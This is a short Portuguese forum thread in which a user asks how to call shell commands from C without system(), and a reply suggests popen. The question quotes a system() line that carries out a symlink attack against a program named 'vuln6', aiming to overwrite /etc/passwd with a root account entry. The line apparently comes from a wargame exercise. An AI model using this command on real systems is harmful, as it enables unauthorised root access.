+ Responder ao Tópico



  1. #1
    kappalinux
    Visitante

    Padrão Duvida em C q interaja com o sistema.

    tenho uma duvida. Eh o seguinte:
    "Gostaria de saber se ao estar programando em C eu possa fazer algo no meio do codigo ou na declaracao das variaveis atributos shell q interajam com outros programas, façam chamadas de comandos do linux ou shell.
    Gostaria de saber se tem como realizar isso sem utilizar o comando "system();

    tipo com system estah nojento. estah assim:
    system("./vuln6 user:x:0:0::/:/bin/bash'&' ; $PID=`ps | grep vuln6 | cut -d" " -f2` ; $FILE_NAME=`ls -l /proc/$PID/fd/3 | cut -d'>' -f2` ; rm -f $FILE_NAME ; ln -sf /etc/passwd $FILE_NAME");

    sem tirar o system perco todos os valores atribuidos as variaveis ambiente..
    gostaria de saber se tem uma solucao para isso.
    falooow
    valeu
    []'s

  2. #2

    Padrão popen

    Pra vc o popen nao serviria???
    pq com ele vc pode ler a saida do programa do mesmo jeito q vc le um arquivo, assim como escrever...

    Num sei se foi exatamente isso q vc pergunto...talvez eu num tenha intendido direito.... ops: